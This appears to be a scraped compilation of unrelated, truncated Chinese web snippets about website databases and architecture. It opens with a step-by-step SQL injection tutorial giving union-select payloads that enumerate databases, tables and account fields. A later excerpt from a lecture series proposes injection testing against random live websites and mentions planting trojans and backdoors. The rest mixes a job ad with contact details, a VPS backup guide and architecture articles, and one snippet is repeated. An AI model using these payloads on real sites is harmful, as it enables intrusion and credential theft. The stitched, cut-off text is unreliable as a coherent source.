网站数据库

第一步 判断用户构造的语句是否被执行。 　　1 and 1=1 　　判断： 　　and 1=1 真 　　and 1=2 假 第二步 用户开始构造攻击语句。 　　1 order by 1，2，3 　　判断数据库列数 　　1 and 1 order by 数字 第三步 构造union 查询语句。 　　union select 1，2，3，4 　　1 and 1 union select 1,2,user(),4 　　user（）作用 查询当前用户权限 　　database（） 查询当前数据库 　　1 and 1 union select 1,2,database（）,4。 　　如何查询mysql下的所有数据库？ 　　1 and 1 union select 1,2,group_concat(schema_name),4 from information_schema.schemata 　　schema_name 所有数据库 　　group_concat 查询结果以组的方式输出。 　　A数据库 　　　表名 　　　　字段 　　　　　　字段内容===》账号密码。 　　B数据库 　　　表名 　　　　字段 第四步 查询 数据库下的表 　　table_name 所有表名 　　table_schema 所有数据库名 　　1 and 1 union select 1,group_concat

1 、 2 年左右.net（b/s、c/s) 编开发经验。 2 、熟练掌握面向对象编程（ OOP ）技术，精通 ASP.NET 等，C#编程语言。善于学习和应用新技术。 3、 熟练应用Ajax、了解Ajax框架 4、 能够熟练应用javascript 5 、具有丰富的 WEB 应用开发经验或对从事 WEB 开发有浓厚兴趣。 6 、熟悉 MS SQL Server 或 Oracle mysql数据库编程技术。 7 、有独立开发经验者项目或者网站者优先。工作地点深圳，惠州（待遇3000－4000）。 有意者可发简历到邮箱wang6liu@126.com或电话13420900286 来源： https://www.cnblogs.com/lass-name/archive/2008/09/20/1294757.html

在之前的文章中或者我们自己应该从官方获悉，搬瓦工主机商原来OPENVZ架构VPS主机将会在到期后无法续费。而且也没有提供一键快速迁移网站数据或者机房的方法。都需要我们自己新购服务器然后备份网站恢复数据。无论我们在服务器到期之后搬迁到哪个服务商，实际上的操作流程都是一样的。我们需要完成备份、下载、新开、恢复数据等操作。 在这篇文章中，搬瓦工中文网整理一篇较为通用的，且结合最近在撰写的建站系列教程，完成网站的备份和恢复数据的方法，希望可以帮助到一些需要搬迁网站或者是迁移服务商的用户使用。 第一、备份网站和数据库 1、备份网站文件 备份网站文件笨办法就是直接用FTP将文件一个个下载下来。这样比较费事，最好的办法就是我们直接在有控制面板的文件管理器打包压缩，或者是用SSH远程脚本直接打包备份。 tar -zcvf cnbanwagong.com.tar.gz /home/wwwroot/www.cnbanwagong.com 通过这个命令，我们可以将对应目录中的文件全部压缩打包成cnbanwagong.com.tar.gz文件。 2、数据库导出 数据库导出我们可以通过phpmyadmin直接导出，或者也可以通过命令导出。 mysqldump -u数据库用户名 -p数据库密码 数据库名 > data.sql 同样通过SSH工具将对应修改成当前网站的数据库信息，后执行就可以打包一个data

前言 一个成熟的网站架构并不是一开始设计就具备高可用、高伸缩、高性能等特性的，它是随着用户量和业务线不断增加，基础架构才逐渐健壮的。在发展初期，一般都是从0到1，不会一上来就整一些大而全的架构，也很少人这么任性。 说明 适用业务：电商/门户/招聘网站 开发语言：PHP和JAVA Web服务：Nginx/Tomcat8 数据库：MySQL 操作系统：CentOS 物理服务器：Dell R730/R430 一、单台服务器部署 项目开发完成上线，用户访问量寥寥无几。 二、WEB与数据库独立部署 有一定用户访问量，单台服务器性能有些吃力，想提高并发能力，增加一台服务器，将HTTP请求与SQL操作负载分散不同服务器。 三、动静分离-初期 什么是动静分离？静态页面与动态页面分离部署。 四、数据库主从与查询缓存 RedisCache 使用Redis缓存数据库查询结果，将热数据放到内存中，提高查询速度，减少数据库请求。 MySQL主从 基于binlog异步复制。 HA MySQL：Keepalived 怎么保证Redis缓存时效性？ a) 增加中间件，在主从同步延迟时间内，中间件将SQL读操作还路由到主。 b) 主从同步延迟时间后，再异步发起一次淘汰Cache。 c) 增加消息队列和清理Cache程序，入库同时也写入消息队列，缓存清理程序订阅消息队列，一旦有数据更新，重新Cache。 d)

在网上找了一篇关于sql注入的解释文章，还有很多技术，走马观花吧 文章来源： http://www.2cto.com/article/201310/250877.html ps:直接copy，格式有点问题~ 大家早上好！今天由我给大家带来《web安全之SQL注入篇》系列晨讲，首先对课程进行简单介绍， SQL注入篇一共分为三讲： 第一讲：“纸上谈兵：我们需要在本地架设注入环境，构造注入语句，了解注入原理。”； 第二讲：“实战演练：我们要在互联网上随机对网站进行友情检测，活学活用，举一反三”； 第三讲：“扩展内容：挂马，提权，留门。此讲内容颇具危害性，不予演示。仅作概述”。 这个主题涉及的东西还是比较多的，结合我们前期所学。主要是让大家切身体会一下，管中窥豹，起到知己知彼的作用。千里之堤溃于蚁穴，以后进入单位，从事相关 程序开发 ，一定要谨小慎微。 问：大家知道骇客们攻击网站主要有哪些手法？ SQL注入，旁注，XSS跨站，COOKIE欺骗，DDOS，0day 漏洞 ，社会工程学 等等等等，只要有数据交互，就会存在被入侵风险！哪怕你把网线拔掉，物理隔绝，我还可以利用传感器捕捉电磁辐射信号转换成模拟图像。你把门锁上，我就爬窗户；你把窗户关上，我就翻院墙；你把院墙加高，我就挖地洞。。。道高一尺魔高一丈，我始终坚信计算机不存在绝对的安全，你攻我防，此消彼长，有时候，魔与道只在一念之间。 下面

一个小型的网站，比如个人网站，可以使用最简单的html静态页面就实现了，配合一些图片达到美化效果，所有的页面均存放在一个目录下，这样的网站对系 统架构、性能的要求都很简单，随着互联网业务的不断丰富，网站相关的技术经过这些年的发展，已经细分到很细的方方面面，尤其对于大型网站来说，所采用的技 术更是涉及面非常广，从硬件到软件、编程语言、数据库、WebServer、防火墙等各个领域都有了很高的要求，已经不是原来简单的html静态网站所能 比拟的。 　　 　　大型网站，比如门户网站。在面对大量用户访问、高并发请求方面，基本的解决方案集中在这样几个环节：使用高性能的服务器、高性能的数据库、高效率的编程语言、还有高性能的Web容器。但是除了这几个方面，还没法根本解决大型网站面临的高负载和高并发问题。 　　 　　上面提供的几个解决思路在一定程度上也意味着更大的投入，并且这样的解决思路具备瓶颈，没有很好的扩展性，下面我从低成本、高性能和高扩张性的角度来说说我的一些经验。 　　 　　1、HTML静态化 　 　其实大家都知道，效率最高、消耗最小的就是纯静态化的html页面，所以我们尽可能使我们的网站上的页面采用静态页面来实现，这个最简单的方法其实也是 最有效的方法。但是对于大量内容并且频繁更新的网站，我们无法全部手动去挨个实现，于是出现了我们常见的信息发布系统CMS，像我们常访问的各个门户站点

目录标题 1. 网站架构演化发展历程 2. 使用缓存服务器改善网站性能 3. 使用应用服务器集群改善并发处理能力 4. 数据库读写分离 5. 使用反响代理和cdn加速网站响应 6. 使用分布式文件系统和分布式数据库系统 7. 使用nosql和搜索引擎 8. 业务拆分 9. 分布式服务 1. 网站架构演化发展历程 2. 使用缓存服务器改善网站性能   网站访问的特点和二八定律一样：80%的业务访问及中在20%的数据上。所以如果把这一部分数据缓存在内存中，可以减少数据库的访问压力，提高整个网站的数据访问速度，改善数据库的写入性能。   网站使用的缓存可以分为两种：缓存在应用服务器上的本地缓存和缓存在专门的分布缓存服务器上的远程缓存。   本地缓存的访问快一些，但受应用服务器内存限制，缓存数据量有限，远程分布式缓存可以使用集群（n）的方式，步数大内存的服务器作为专门的缓存服务器，理论上做到部首内存容量的限制的缓存服务。 缓存技术：   内容分发网络（CDN）反向代理   本地缓存 分布式缓存   使用前提：1. 数据访问热点不均匀 2. 是数据在某个时间段内有效，不会很快过期 3. 使用应用服务器集群改善并发处理能力   使用缓存后，数据访问压力得到有效的环节，但是单一应用服务器能够处理的请求链接有限，在网站高峰期，应用服务器称为整个网站的瓶颈。   使用集群是网站解决高并发

系统架构演化历程-初始阶段架构 <img data-rawheight="367" data-rawwidth="516" src="https://pic4.zhimg.com/13bd5a6612620fdf51c8987ab3eb1273_b.jpg" class="origin_image zh-lightbox-thumb" width="516" data-original="https://pic4.zhimg.com/13bd5a6612620fdf51c8987ab3eb1273_r.jpg"> 初始阶段 的小型系统 应用程序、数据库、文件等所有的资源都在一台服务器上通俗称为LAMP 特征： 应用程序、数据库、文件等所有的资源都在一台服务器上。 描述： 通常服务器操作系统使用linux，应用程序使用PHP开发，然后部署在Apache上，数据库使用Mysql，汇集各种免费开源软件以及一台廉价服务器就可以开始系统的发展之路了。 系统架构演化历程-应用服务和数据服务分离 <img data-rawheight="408" data-rawwidth="510" src="https://pic2.zhimg.com/c2ff4e51eec15231b2f69fe6a4038239_b.jpg" class="origin_image zh

千万级的注册用户，千万级的帖子，nTB级的附件，还有巨大的日访问量，大型网站采用什么系统架构保证性能和稳定性？ 首先讨论一下大型网站需要注意和考虑的问题。 数据库海量数据处理 ：负载量不大的情况下select、delete和update是响应很迅速的，最多加几个索引就可以搞定，但千万级的注册用户和一个设计不好的多对多关系将带来非常严重的性能问题。另外在高UPDATE的情况下，更新一个聚焦索引的时间基本上是不可忍受的。索引和更新是一对天生的冤家。 高并发死锁 ：平时我们感觉不到，但数据库死锁在高并发的情况下的出现的概率是非常高的。 文件存储的问题 ：大型网站有海量图片数据、视频数据、文件数据等等，他们如何存储并被有效索引？高并发的情况下IO的瓶颈问题会迅速显现。也许用RAID和专用存贮服务器能解决眼下的问题，但是还有个问题就是各地的访问问题，也许我们的服务器在北京，可能在云南或者海南的访问速度如何解决?如果做分布式，那么我们的文件索引以及架构该如何规划。 接下来讨论大型网站的底层系统架构，来有效的解决上述问题。 毋庸置疑，对于规模稍大的网站来说，其背后必然是一个服务器集群来提供网站服务，例如，2004年eBay的服务器有2400台，估计现在更多。当然，数据库也必然要和应用服务分开，有单独的数据库服务器集群。对于像淘宝网这样规模的网站而言，就是应用也分成很多组。 下面

千万级的注册用户，千万级的帖子，nTB级的附件，还有巨大的日访问量，大型网站采用什么系统架构保证性能和稳定性？ 首先讨论一下大型网站需要注意和考虑的问题。 数据库海量数据处理 ：负载量不大的情况下select、delete和update是响应很迅速的，最多加几个索引就可以搞定，但千万级的注册用户和一个设计不好的多对多关系将带来非常严重的性能问题。另外在高UPDATE的情况下，更新一个聚焦索引的时间基本上是不可忍受的。索引和更新是一对天生的冤家。 高并发死锁 ：平时我们感觉不到，但数据库死锁在高并发的情况下的出现的概率是非常高的。 文件存储的问题 ：大型网站有海量图片数据、视频数据、文件数据等等，他们如何存储并被有效索引？高并发的情况下IO的瓶颈问题会迅速显现。也许用RAID和专用存贮服务器能解决眼下的问题，但是还有个问题就是各地的访问问题，也许我们的服务器在北京，可能在云南或者海南的访问速度如何解决?如果做分布式，那么我们的文件索引以及架构该如何规划。 接下来讨论大型网站的底层系统架构，来有效的解决上述问题。 毋庸置疑，对于规模稍大的网站来说，其背后必然是一个服务器集群来提供网站服务，例如，2004年eBay的服务器有2400台，估计现在更多。当然，数据库也必然要和应用服务分开，有单独的数据库服务器集群。对于像淘宝网这样规模的网站而言，就是应用也分成很多组。 下面